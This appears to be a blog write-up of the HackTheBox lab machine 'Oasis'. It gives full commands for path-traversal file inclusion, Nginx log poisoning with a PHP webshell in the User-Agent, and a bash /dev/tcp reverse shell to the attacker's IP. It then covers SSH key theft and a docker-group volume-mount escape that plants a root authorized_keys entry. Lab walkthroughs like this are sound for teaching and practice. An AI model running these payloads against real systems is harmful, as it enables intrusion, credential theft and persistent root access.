All posts

HTB: Oasis — LFI Log Poisoning to Docker Socket Escape

Oasis is a hard-rated HackTheBox Linux machine. A PHP application with an unsanitised file-inclusion parameter allows reading arbitrary files including Nginx access logs. Injecting PHP code into the User-Agent header converts the log read into remote code execution. A world-readable SSH private key in the developer's home directory pivots the shell to a real user account, and membership of the docker group provides a clean path to root through a volume-mount container escape.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.91 -oN oasis.nmap
# Key open ports:
# 22/tcp    open  ssh     OpenSSH 9.6p1
# 80/tcp    open  http    nginx/1.26.0
# 8080/tcp  open  http    nginx/1.26.0 (secondary app)

Web Application

Port 80 serves a static company landing page. Port 8080 hosts a PHP application — "Oasis Project Manager" — with a URL structure of ?page=dashboard. Swapping the page value for a path traversal string immediately reveals the LFI:

curl "http://10.10.11.91:8080/?page=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# ...
# dev:x:1001:1001::/home/dev:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Note the dev user. PHP source reads confirm the vulnerable include:

curl "http://10.10.11.91:8080/?page=php://filter/convert.base64-encode/resource=index.php" \
  | base64 -d | grep include
# include($_GET['page'] . '.php');
# No sanitisation — arbitrary .php file or log file with PHP code in it

Foothold — Log Poisoning to RCE

Confirming Log Access

Reading Nginx's access log via the LFI confirms the log path and that requests are logged verbatim:

curl "http://10.10.11.91:8080/?page=../../../../var/log/nginx/access.log"
# 10.10.14.5 - - [09/May/2026:14:22:01 +0000] "GET /?page=../../../../etc/passwd HTTP/1.1"
# 200 1234 "-" "curl/7.88.1"

Inject PHP into the Log

Send a request with a PHP webshell as the User-Agent. Nginx logs the raw User-Agent — when the log is subsequently included by the PHP interpreter, the embedded PHP executes:

# Inject PHP payload into User-Agent
curl -s "http://10.10.11.91:8080/" \
  -H 'User-Agent: <?php system($_GET["c"]); ?>'

# Trigger execution by including the poisoned log
curl -s "http://10.10.11.91:8080/?page=../../../../var/log/nginx/access.log&c=id"
# ...<?php system($_GET["c"]); ?>...
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade to Reverse Shell

# Attacker: listener
nc -lvnp 4444

# One-liner via log poisoning
curl -s "http://10.10.11.91:8080/?page=../../../../var/log/nginx/access.log&c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"

# Stabilise the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# www-data@oasis:/$

Lateral Movement — SSH Key Discovery

Enumerating the dev User's Home Directory

Listing /home/dev reveals world-readable permissions on the .ssh directory — a misconfiguration that exposes the private key:

ls -la /home/dev/.ssh/
# -rw-r--r-- 1 dev dev  411 May  8 09:14 authorized_keys
# -rw-r--r-- 1 dev dev 2602 May  8 09:14 id_rsa       ← world-readable!
# -rw-r--r-- 1 dev dev  572 May  8 09:14 id_rsa.pub

cat /home/dev/.ssh/id_rsa
# Copy the key locally and SSH as dev
chmod 600 dev_id_rsa
ssh -i dev_id_rsa [email protected]

dev@oasis:~$ cat user.txt
# 7f3b9a...  ← user flag

Privilege Escalation — Docker Group Escape

Identifying the Attack Path

The dev user's group memberships reveal membership of the docker group:

id
# uid=1001(dev) gid=1001(dev) groups=1001(dev),999(docker)

# Confirm Docker socket is accessible
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 May  9 08:00 /var/run/docker.sock

docker ps
# CONTAINER ID  IMAGE  COMMAND  CREATED  STATUS  PORTS  NAMES
# (no running containers)

Membership of the docker group is equivalent to root — the Docker socket allows spawning containers with arbitrary volume mounts, including mounting the host root filesystem.

Container Escape via Volume Mount

Pull a minimal image (or use one already present) and spawn a container that mounts the host filesystem at /mnt/host:

docker images
# alpine   latest   a606584aa9aa   3 weeks ago   7.8MB

docker run -it --rm \
  -v /:/mnt/host \
  alpine \
  /bin/sh

# Inside the container — full read/write access to host filesystem
ls /mnt/host/root/
# root.txt  snap  ...

cat /mnt/host/root/root.txt
# 2e91cf...  ← root flag

Escalate to Interactive Root Shell

For a persistent interactive root shell on the host, write an SSH authorised key to root's authorized_keys via the volume mount:

mkdir -p /mnt/host/root/.ssh
echo 'ssh-ed25519 AAAA... attacker' >> /mnt/host/root/.ssh/authorized_keys
chmod 700 /mnt/host/root/.ssh
chmod 600 /mnt/host/root/.ssh/authorized_keys
exit

# From attacker machine:
ssh -i attacker_key [email protected]
# root@oasis:~#

Key Takeaways